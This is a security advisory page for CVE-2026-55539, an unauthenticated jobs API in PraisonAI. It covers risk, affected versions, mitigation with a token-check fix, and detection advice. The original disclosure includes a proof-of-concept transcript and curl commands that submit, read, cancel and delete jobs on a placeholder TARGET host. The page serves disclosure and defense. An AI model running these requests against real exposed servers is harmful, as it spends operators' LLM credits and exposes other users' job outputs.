CVE-2026-55539: PraisonAI: no-auth Jobs API allows arbitrary agent runs

GHSA-2jgc-f764-c5r2 HIGH
Published August 25, 2026
CISO Take

PraisonAI's FastAPI Jobs API (`praisonai/jobs/`) ships with zero authentication — no token, session, or per-job ownership check on any of the seven job endpoints — so any caller who can reach the service can submit prompts that execute against the operator's own LLM credentials, list and read every other caller's job results, and cancel or delete running jobs. This is a distinct, still-unpatched sibling of CVE-2026-44338: that fix hardened only the legacy Flask server and never touched this FastAPI module, so anyone who patched believing the jobs API was covered is still exposed. There's no KEV listing, EPSS score, or public exploit yet, but exploitation requires nothing beyond a bare `curl` once the service is network-reachable (CVSS 8.6, AC:L/PR:N/UI:N) — the only gate is that the default bind is loopback-only, so exposure hinges on operators publishing the port via `--host 0.0.0.0`, container publish, reverse proxy, or tunnel. Patch to PraisonAI 4.6.58 immediately; until then, verify the jobs server is not bound to a public interface, and if it must be reachable, front it with a reverse-proxy auth layer since the package itself has no built-in gate.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

High severity, trivial exploitability. The vulnerability is a complete absence of authentication (CWE-306) rather than a bypassable check, so there is no crypto weakness or logic flaw to defeat — a single unauthenticated HTTP request against any of the seven `/api/v1/runs` routes succeeds. Exploitability is gated almost entirely by network exposure: the default `127.0.0.1` bind means most default installs are safe from remote attackers, but any operator who exposes the service (common in containerized/agent-orchestration deployments meant to be called by other services) is immediately and fully exposed with no privilege barrier. No CISA KEV listing, EPSS score, or public PoC/Nuclei template exists yet, so there's no evidence of active scanning or exploitation in the wild today — but the trivial exploit primitive (plain HTTP, no auth, documented endpoints) means that could change quickly once the advisory is indexed by internet-wide scanners.

How does the attack unfold?

Discovery
Attacker finds a network-reachable PraisonAI jobs API (public bind, exposed container port, misconfigured proxy, or tunnel).
AML.T0006
Unauthenticated access
Attacker submits POST /api/v1/runs with an attacker-controlled prompt and no credentials; the server accepts and schedules it.
AML.T0049
Execution
The executor runs the attacker's prompt through a real agent against the operator's configured LLM credentials, consuming compute and provider billing.
AML.T0034.002
Cross-tenant data access and disruption
Attacker lists and reads every job's results from the shared store, and cancels or deletes other callers' jobs.
AML.T0036

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip < 4.6.58 4.6.58
1 dependents 69% patched ~12d to patch Full package profile →
PraisonAI Agents pip No patch
20 dependents 67% patched ~6d to patch Full package profile →

How severe is it?

CVSS 3.1
8.6 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C Low
I Low
A High

What should I do?

1 step
  1. 1) Upgrade to PraisonAI >= 4.6.58, which fixes this issue. 2) Until patched, do not bind the jobs server to a public or shared interface (--host 0.0.0.0), publish its port from a container, or expose it via reverse proxy/tunnel without adding an authentication layer in front of it (e.g., a reverse-proxy auth_request, mTLS, or network-level allowlisting) — the package itself has no built-in gate. 3) After upgrading, confirm the new auth is actually enforced: send an unauthenticated GET /api/v1/runs and confirm a 401, not a 200. 4) Treat this as separate from the CVE-2026-44338 remediation — verify both the legacy Flask api_server.py AND the FastAPI jobs/ module are running patched, auth-enforcing versions; auditing only one gives false confidence. 5) Detection: monitor jobs-server access logs for POST/GET/DELETE /api/v1/runs* requests with no Authorization/X-API-Key header, and alert on job submissions from source IPs outside expected internal ranges.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.8.7 - AI system operation and monitoring
NIST AI RMF
MEASURE 2.7 - AI system security and resilience are evaluated and documented
OWASP LLM Top 10
LLM06 - Sensitive Information Disclosure LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-55539?

PraisonAI's FastAPI Jobs API (`praisonai/jobs/`) ships with zero authentication — no token, session, or per-job ownership check on any of the seven job endpoints — so any caller who can reach the service can submit prompts that execute against the operator's own LLM credentials, list and read every other caller's job results, and cancel or delete running jobs. This is a distinct, still-unpatched sibling of CVE-2026-44338: that fix hardened only the legacy Flask server and never touched this FastAPI module, so anyone who patched believing the jobs API was covered is still exposed. There's no KEV listing, EPSS score, or public exploit yet, but exploitation requires nothing beyond a bare `curl` once the service is network-reachable (CVSS 8.6, AC:L/PR:N/UI:N) — the only gate is that the default bind is loopback-only, so exposure hinges on operators publishing the port via `--host 0.0.0.0`, container publish, reverse proxy, or tunnel. Patch to PraisonAI 4.6.58 immediately; until then, verify the jobs server is not bound to a public interface, and if it must be reachable, front it with a reverse-proxy auth layer since the package itself has no built-in gate.

Is CVE-2026-55539 actively exploited?

No confirmed active exploitation of CVE-2026-55539 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-55539?

1) Upgrade to PraisonAI >= 4.6.58, which fixes this issue. 2) Until patched, do not bind the jobs server to a public or shared interface (`--host 0.0.0.0`), publish its port from a container, or expose it via reverse proxy/tunnel without adding an authentication layer in front of it (e.g., a reverse-proxy auth_request, mTLS, or network-level allowlisting) — the package itself has no built-in gate. 3) After upgrading, confirm the new auth is actually enforced: send an unauthenticated `GET /api/v1/runs` and confirm a 401, not a 200. 4) Treat this as separate from the CVE-2026-44338 remediation — verify both the legacy Flask `api_server.py` AND the FastAPI `jobs/` module are running patched, auth-enforcing versions; auditing only one gives false confidence. 5) Detection: monitor jobs-server access logs for `POST/GET/DELETE /api/v1/runs*` requests with no `Authorization`/`X-API-Key` header, and alert on job submissions from source IPs outside expected internal ranges.

What systems are affected by CVE-2026-55539?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, job orchestration / async agent execution, multi-tenant agent services.

What is the CVSS score for CVE-2026-55539?

CVE-2026-55539 has a CVSS v3.1 base score of 8.6 (HIGH).

What is the AI security impact?

Affected AI Architectures

agent frameworksjob orchestration / async agent executionmulti-tenant agent services

MITRE ATLAS Techniques

AML.T0034.002 Agentic Resource Consumption
AML.T0036 Data from Information Repositories
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.8.7
NIST AI RMF: MEASURE 2.7
OWASP LLM Top 10: LLM06, LLM08

What are the technical details?

Original Advisory

### Summary PraisonAI's async **Jobs API** (the FastAPI service in `praisonai/jobs/`) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value. The server's default bind is `127.0.0.1`, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated. **This is a distinct, still-unpatched sibling of CVE-2026-44338.** That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server `src/praisonai/api_server.py`. The fix added `AUTH_ENABLED`/`AUTH_TOKEN`/`check_auth()` to that file and did **not** touch the FastAPI jobs module. At the latest commit (`9fcac3a`, version **4.6.51**) the legacy Flask server is patched but the jobs API remains completely unauthenticated. ## Technical Detail ### Source-to-sink trace The FastAPI app includes the jobs router with only CORS middleware — no auth (`server.py`, `create_app`): ```python # src/praisonai/praisonai/jobs/server.py def create_app(store=None, executor=None, cors_origins=None) -> FastAPI: app = FastAPI(title="PraisonAI Jobs API", ...) # ... CORS middleware only (allow_headers includes "Authorization", # but CORS is not authentication) ... jobs_router = create_router(get_store(), get_executor()) app.include_router(jobs_router) # no dependencies=[Depends(...)] ``` The router (built inside `create_router()`) registers every job operation with no auth dependency. The only `Header(...)` parameter anywhere is the `Idempotency-Key`, which is deduplication, not authorization: ```python # src/praisonai/praisonai/jobs/router.py router = APIRouter(prefix="/api/v1/runs", tags=["jobs"]) @router.post("", status_code=202) async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ... @router.get("") async def list_jobs(status=None, session_id=None, page=1, page_size=20): ... @router.get("/{job_id}") async def get_job_status(job_id): ... @router.get("/{job_id}/result") async def get_job_result(job_id): ... @router.post("/{job_id}/cancel") async def cancel_job(job_id): ... @router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ... @router.get("/{job_id}/stream") async def stream_job(job_id): ... ``` `submit_job()` builds a `Job` from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default `praisonai` framework runs the attacker prompt against a real agent: ```python # executor.py — submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents() agent = Agent(instructions="You are a helpful AI assistant.", output="minimal") result = await asyncio.to_thread(agent.start, job.prompt) # attacker-controlled prompt ``` The in-memory store has **no owner / principal / user concept**. `list_jobs()` returns the whole store filtered only by caller-supplied `status`/`session_id`: ```python # store.py async def list_jobs(self, status=None, session_id=None, limit=20, offset=0): jobs = list(self._jobs.values()) # global; no owner binding if session_id: jobs = [j for j in jobs if j.session_id == session_id] ... ``` A repository-wide grep of `jobs/` for `Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth` returns **only** the string `"Authorization"` inside the CORS `allow_headers` list. There is no authentication primitive in the module. ### Distinction from CVE-2026-44338 (critical for triage) | | CVE-2026-44338 (already fixed) | This finding | |---|---|---| | Component | Legacy Flask `src/praisonai/api_server.py` | FastAPI `praisonai/jobs/` | | Endpoints | `GET /agents`, `POST /chat` | `/api/v1/runs` (submit/list/get/result/cancel/delete/stream) | | Root cause | `AUTH_ENABLED=False`, `AUTH_TOKEN=None`, no-op `check_auth()` | No auth dependency, middleware, or token exists at all | | Status at 4.6.51 | **Patched** (auth enabled by default, token auto-generated, `secrets.compare_digest`) | **Unpatched** | The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach. ### Trigger conditions 1. Start the server, e.g. `python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory`. 2. Make it reachable (`--host 0.0.0.0`, container publish, reverse proxy, tunnel). 3. Send unauthenticated requests to `POST/GET /api/v1/runs`, `GET /api/v1/runs/{id}`, `GET /api/v1/runs/{id}/result`, `POST /api/v1/runs/{id}/cancel`, `DELETE /api/v1/runs/{id}`. ## Proof of Concept Verified dynamically by running the **real** `praisonai.jobs` router, executor, and store over HTTP via FastAPI `TestClient`. The only stub is `praisonaiagents.Agent` (its `.start()` returns canned text), so **no real LLM call and no API credentials were used**. Every request below was sent with **no `Authorization` header, cookie, or token** (the runner asserts `Authorization sent: None` on each). ``` ## Unauth POST /api/v1/runs (submit job) POST /api/v1/runs -> HTTP 202 Authorization sent: None body: {"job_id":"run_de282b4c3f1c","status":"queued", ...} ## Unauth GET /api/v1/runs (list every job in shared store) GET /api/v1/runs -> HTTP 200 Authorization sent: None body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...} ## Unauth GET /api/v1/runs/{id}/result (read tenant output) GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...} ## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job) t=0.0s status=running ... t=2.0s status=running POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None after cancel status=cancelled ## Unauth DELETE /api/v1/runs/{id} (delete terminal job) DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: None ``` Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.) ### Equivalent trigger in a fully installed, network-exposed deployment ```bash python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory curl -sS -X POST http://TARGET:8005/api/v1/runs \ -H 'Content-Type: application/json' \ --data-binary '{"prompt":"attacker controlled job","timeout":3600}' curl -sS http://TARGET:8005/api/v1/runs curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id> ``` ## Impact - **Execution / cost**: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to `timeout`, default 3600s) consuming CPU, memory, queue slots, and provider billing. - **Confidentiality**: callers list all jobs (`GET /api/v1/runs`) and read completed results from the shared store — other callers' agent outputs. - **Integrity / control**: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs. ## Suggested Mitigation Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router: - Add a jobs-server auth token (e.g. `PRAISONAI_JOBS_API_TOKEN`) and require it on every `/api/v1/runs` route via a **router-level dependency**, so future routes inherit protection by default. - Use constant-time comparison (`hmac.compare_digest` / `secrets.compare_digest`). - Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs. - Keep `127.0.0.1` as default; warn or refuse when binding a public interface without auth configured. - Regression tests asserting unauthenticated `POST` / `GET` / `cancel` / `delete` return `401` when auth is enabled. ```python import hmac, os from fastapi import Depends, Header, HTTPException def verify_jobs_token(authorization: str | None = Header(None), x_api_key: str | None = Header(None, alias="X-API-Key")): expected = os.getenv("PRAISONAI_JOBS_API_TOKEN") if not expected: raise HTTPException(401, "Jobs API auth is not configured") token = x_api_key if authorization and authorization.startswith("Bearer "): token = authorization[7:] if not token or not hmac.compare_digest(token, expected): raise HTTPException(401, "Unauthorized") # create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)]) ```

Exploitation Scenario

An operator deploys PraisonAI's jobs API behind a reverse proxy so an internal application can queue agent jobs asynchronously, but forgets (or isn't aware) that the FastAPI service itself performs no authentication of its own — they assume the proxy or network boundary is sufficient. An attacker who reaches the exposed endpoint (via proxy misconfiguration, an open port, or a leaked internal URL) sends `POST /api/v1/runs` with an attacker-controlled prompt; the server accepts it with no credentials and runs it against the operator's live LLM account, consuming budget and potentially eliciting sensitive behavior from the agent. The attacker then calls `GET /api/v1/runs` to enumerate every job in the shared store — including other legitimate callers' submissions — and reads their results via `GET /api/v1/runs/{id}/result`, exfiltrating another tenant's agent outputs. Finally, they use `POST /api/v1/runs/{id}/cancel` and `DELETE /api/v1/runs/{id}` to disrupt or erase in-flight and completed jobs belonging to legitimate users, denying service and covering their tracks.

Weaknesses (CWE)

CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

  • [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Timeline

Published
August 25, 2026
Last Modified
August 25, 2026
First Seen
August 25, 2026

Related Vulnerabilities